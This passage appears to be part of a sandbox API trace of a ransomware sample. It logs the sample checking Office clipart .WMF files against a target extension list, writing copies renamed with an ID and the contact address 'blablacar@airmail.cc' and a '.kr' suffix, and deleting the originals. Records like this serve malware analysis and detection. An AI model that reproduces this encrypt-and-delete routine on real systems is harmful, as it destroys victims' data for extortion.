[0202.504] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0202.504] lstrlenW (lpString=".zip") returned 4 [0202.504] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.504] lstrlenW (lpString=".rar") returned 4 [0202.504] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.504] lstrlenW (lpString=".bz2") returned 4 [0202.504] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.504] lstrlenW (lpString=".7z") returned 3 [0202.505] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0202.505] lstrlenW (lpString=".dbf") returned 4 [0202.505] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0202.505] lstrlenW (lpString=".1cd") returned 4 [0202.505] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0202.505] lstrlenW (lpString=".jpg") returned 4 [0202.505] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.505] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0202.505] lstrlenW (lpString="J0099171.WMF") returned 12 [0202.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0202.506] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=8754) returned 1 [0202.506] CloseHandle (hObject=0x550) returned 1 [0202.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 0x220 [0202.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0202.506] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.507] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0202.507] GetLastError () returned 0x0 [0202.507] ReadFile (in: hFile=0x550, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x2232, lpOverlapped=0x0) returned 1 [0202.509] WriteFile (in: hFile=0x3f8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x2240, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x2240, lpOverlapped=0x0) returned 1 [0202.510] ReadFile (in: hFile=0x550, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0202.510] WriteFile (in: hFile=0x3f8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0202.511] SetEndOfFile (hFile=0x3f8) returned 1 [0202.511] CloseHandle (hObject=0x3f8) returned 1 [0202.511] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.511] SetEndOfFile (hFile=0x550) returned 1 [0202.514] CloseHandle (hObject=0x550) returned 1 [0202.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.514] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 1 [0202.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0202.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0202.515] lstrlenW (lpString=".doc") returned 4 [0202.515] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.515] lstrlenW (lpString=".docx") returned 5 [0202.515] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0202.515] lstrlenW (lpString=".pdf") returned 4 [0202.515] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.515] lstrlenW (lpString=".xls") returned 4 [0202.515] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.515] lstrlenW (lpString=".xlsx") returned 5 [0202.516] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0202.516] lstrlenW (lpString=".ppt") returned 4 [0202.516] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0202.516] lstrlenW (lpString=".zip") returned 4 [0202.516] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.516] lstrlenW (lpString=".rar") returned 4 [0202.516] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.516] lstrlenW (lpString=".bz2") returned 4 [0202.516] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.516] lstrlenW (lpString=".7z") returned 3 [0202.516] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0202.516] lstrlenW (lpString=".dbf") returned 4 [0202.516] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0202.516] lstrlenW (lpString=".1cd") returned 4 [0202.516] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0202.516] lstrlenW (lpString=".jpg") returned 4 [0202.516] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0202.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0202.516] lstrlenW (lpString=".doc") returned 4 [0202.516] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.516] lstrlenW (lpString=".docx") returned 5 [0202.516] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0202.516] lstrlenW (lpString=".pdf") returned 4 [0202.516] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.516] lstrlenW (lpString=".xls") returned 4 [0202.516] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.516] lstrlenW (lpString=".xlsx") returned 5 [0202.516] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0202.516] lstrlenW (lpString=".ppt") returned 4 [0202.517] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0202.517] lstrlenW (lpString=".zip") returned 4 [0202.517] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.517] lstrlenW (lpString=".rar") returned 4 [0202.517] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.517] lstrlenW (lpString=".bz2") returned 4 [0202.517] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.517] lstrlenW (lpString=".7z") returned 3 [0202.517] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0202.517] lstrlenW (lpString=".dbf") returned 4 [0202.517] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0202.517] lstrlenW (lpString=".1cd") returned 4 [0202.517] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0202.517] lstrlenW (lpString=".jpg") returned 4 [0202.517] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.517] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0202.517] lstrlenW (lpString="J0099172.WMF") returned 12 [0202.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0202.518] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=58258) returned 1 [0202.518] CloseHandle (hObject=0x550) returned 1 [0202.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf")) returned 0x220 [0202.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0202.519] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.519] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0202.520] GetLastError () returned 0x0 [0202.520] ReadFile (in: hFile=0x550, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xe392, lpOverlapped=0x0) returned 1 [0202.525] WriteFile (in: hFile=0x3f8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xe3a0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xe3a0, lpOverlapped=0x0) returned 1 [0202.526] ReadFile (in: hFile=0x550, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0202.526] WriteFile (in: hFile=0x3f8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0202.527] SetEndOfFile (hFile=0x3f8) returned 1 [0202.527] CloseHandle (hObject=0x3f8) returned 1 [0202.527] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.527] SetEndOfFile (hFile=0x550) returned 1 [0202.530] CloseHandle (hObject=0x550) returned 1 [0202.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.531] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf")) returned 1 [0202.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0202.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0202.532] lstrlenW (lpString=".doc") returned 4 [0202.532] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.532] lstrlenW (lpString=".docx") returned 5 [0202.532] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0202.532] lstrlenW (lpString=".pdf") returned 4 [0202.532] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.532] lstrlenW (lpString=".xls") returned 4 [0202.532] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.532] lstrlenW (lpString=".xlsx") returned 5 [0202.532] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0202.532] lstrlenW (lpString=".ppt") returned 4 [0202.532] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0202.532] lstrlenW (lpString=".zip") returned 4 [0202.532] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.532] lstrlenW (lpString=".rar") returned 4 [0202.532] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.532] lstrlenW (lpString=".bz2") returned 4 [0202.532] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.532] lstrlenW (lpString=".7z") returned 3 [0202.532] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0202.532] lstrlenW (lpString=".dbf") returned 4 [0202.532] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0202.533] lstrlenW (lpString=".1cd") returned 4 [0202.533] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0202.533] lstrlenW (lpString=".jpg") returned 4 [0202.533] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0202.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0202.533] lstrlenW (lpString=".doc") returned 4 [0202.533] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.533] lstrlenW (lpString=".docx") returned 5 [0202.533] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0202.533] lstrlenW (lpString=".pdf") returned 4 [0202.533] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.533] lstrlenW (lpString=".xls") returned 4 [0202.533] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.533] lstrlenW (lpString=".xlsx") returned 5 [0202.533] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0202.533] lstrlenW (lpString=".ppt") returned 4 [0202.533] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0202.533] lstrlenW (lpString=".zip") returned 4 [0202.533] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.533] lstrlenW (lpString=".rar") returned 4 [0202.533] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.533] lstrlenW (lpString=".bz2") returned 4 [0202.533] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.533] lstrlenW (lpString=".7z") returned 3 [0202.533] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0202.533] lstrlenW (lpString=".dbf") returned 4 [0202.533] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0202.533] lstrlenW (lpString=".1cd") returned 4 [0202.534] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0202.909] lstrlenW (lpString=".jpg") returned 4 [0202.909] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.909] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0202.909] lstrlenW (lpString="J0099180.WMF") returned 12 [0202.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0202.910] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=3394) returned 1 [0202.910] CloseHandle (hObject=0x55c) returned 1 [0202.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 0x220 [0202.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0202.910] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.910] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0202.911] GetLastError () returned 0x0 [0202.911] ReadFile (in: hFile=0x55c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xd42, lpOverlapped=0x0) returned 1 [0202.913] WriteFile (in: hFile=0x540, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xd50, lpOverlapped=0x0) returned 1 [0202.914] ReadFile (in: hFile=0x55c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0202.914] WriteFile (in: hFile=0x540, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0202.914] SetEndOfFile (hFile=0x540) returned 1 [0202.918] CloseHandle (hObject=0x540) returned 1 [0202.918] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.918] SetEndOfFile (hFile=0x55c) returned 1 [0202.921] CloseHandle (hObject=0x55c) returned 1 [0202.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.922] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 1 [0202.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0202.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0202.922] lstrlenW (lpString=".doc") returned 4 [0202.922] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.922] lstrlenW (lpString=".docx") returned 5 [0202.923] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0202.923] lstrlenW (lpString=".pdf") returned 4 [0202.923] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.923] lstrlenW (lpString=".xls") returned 4 [0202.923] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.923] lstrlenW (lpString=".xlsx") returned 5 [0202.923] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0202.923] lstrlenW (lpString=".ppt") returned 4 [0202.923] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0202.923] lstrlenW (lpString=".zip") returned 4 [0202.923] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.923] lstrlenW (lpString=".rar") returned 4 [0202.923] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.923] lstrlenW (lpString=".bz2") returned 4 [0202.923] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.923] lstrlenW (lpString=".7z") returned 3 [0202.923] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0202.923] lstrlenW (lpString=".dbf") returned 4 [0202.923] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0202.923] lstrlenW (lpString=".1cd") returned 4 [0202.923] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0202.923] lstrlenW (lpString=".jpg") returned 4 [0202.923] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0202.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0202.923] lstrlenW (lpString=".doc") returned 4 [0202.923] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.923] lstrlenW (lpString=".docx") returned 5 [0202.923] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0202.923] lstrlenW (lpString=".pdf") returned 4 [0202.924] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.924] lstrlenW (lpString=".xls") returned 4 [0202.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.924] lstrlenW (lpString=".xlsx") returned 5 [0202.924] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0202.924] lstrlenW (lpString=".ppt") returned 4 [0202.924] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0202.924] lstrlenW (lpString=".zip") returned 4 [0202.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.924] lstrlenW (lpString=".rar") returned 4 [0202.924] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.924] lstrlenW (lpString=".bz2") returned 4 [0202.924] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.924] lstrlenW (lpString=".7z") 